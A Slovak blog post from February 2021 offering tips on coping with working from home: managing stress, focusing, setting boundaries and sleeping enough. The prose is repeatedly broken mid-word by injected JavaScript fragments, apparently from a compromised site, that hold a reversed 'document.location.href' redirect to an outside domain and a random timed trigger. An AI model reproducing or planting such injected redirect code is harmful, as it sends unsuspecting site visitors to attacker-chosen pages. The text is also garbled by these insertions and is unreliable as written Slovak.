Ako prežiť homeoffice

| február 2, 2021

Keďže vážnosť situácie a pandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andemické obmedzenia aktuálne nedovoľujú vyjsť z domu ďalej než do najbližšieho supermarketu, aj pracovný život sa chtiac-nechtiac musel zmixovať s tým osobným. V dôsledku tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho nám v povinnom home-office takpovediac došli nervy. Pripravili sme zopár na vlastnej koži overených tipov, ako “prežiť” home-office a zároveň ostať produktívna.

Prevezmite kontrolu

Jediný rozdiel medzi napätím a stresom je kontrola. Veľa ľudí dokáže efektívne pracovať a podávať ten najlepší výkon práve pod veľkým množstvom napätia. Ak sa však stane, že neostanete nad vecou, s napätím pevne pod kontrolou, častobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dochádza k prívalu vĺn stresu, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torý už na váš výkon nemá taký priaznivý účinok. Snažte sa sústrediť na tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, čo môžete spraviť radšej ako na tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, čo nemôžete alebo nestíhate. Aj tie najmenšie krôčiky tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž v konečnom dôsledku spravia obrovské rozdiely vo vašej produktivite a vy tak využijete svoje sily naplno, v malých množstvách.

Sústreďte sa

Posledné štúdie ukázali, že priemerný človek sa dokáže na 100% sústrediť a podať uspokojivý výkon po dobu približne dvoch hodín a 56 minút za jeden deň. Zvyšok nášho dňa je konštantne prerušovaný intrerupciami z prostredia, a samozrejme, svoju rolu zohávajú aj sociálne siete. Stanovte si jasné ciele a na nadchádzajúcu hodinu sa sústreďte na 100%, vypnite si upozornenia z Instagramu a všetky ostatné možné prekážky, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré by vás mohli pri práci rušiť. Keď čas uplynie, odmeňte sa malou prestávkou. Tentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to spôsob striedania práce a oddychu vám pomôže splniť vašu agendu rýchlejšie, efektívnejšie a bez výčitiek.

Robte pauzy

Vedci za posledné roky zistili, že “dnešní” ľudia pracujú omnoho menej a sú omnoho menej produktívni, než predchádzajúce generácie. Štatistiky sa však mýlia. Aj keď ručičky na hodinách ukazujú, že už je po našej pracovnej dobe, moderný home-office je, nanešťastie, priestobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torom, kde nie je miestobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pre výhovorky. Takzvaný “pohotobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovostný režim” je tu vždy a stále. Stanovte si hranice. Keď odpovedáte na maily, stanovte si normy, kedy je vhodné na nich reagovať a odpisovať, nerobte výnimky, pretobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože sa tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to skôr či neskôr otobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točí proti vám.

Spánkom k produktívnejšiemu zajtrajšku

Byť unavený má na naše kognitívne schopnosti podobný efekt, ako byť opitý. Doprajte si zdravých 8 hodín spánku za každých okolností a nezabúdajte aj na mentálny oddych, či už vo forme krátkej prechádzky, dobrej knihy, hudby či oddychového filmu. Nezabúdajte, že čím lepšie sa budete cítiť, tým lepšie sa vám bude čeliť ťažkostiam nových dní, a tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to či už pracovných alebo osobných.

Fotobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: instagram.com

Tags:

Category: HOMEPAGE, KARIÉRA

Comments are closed.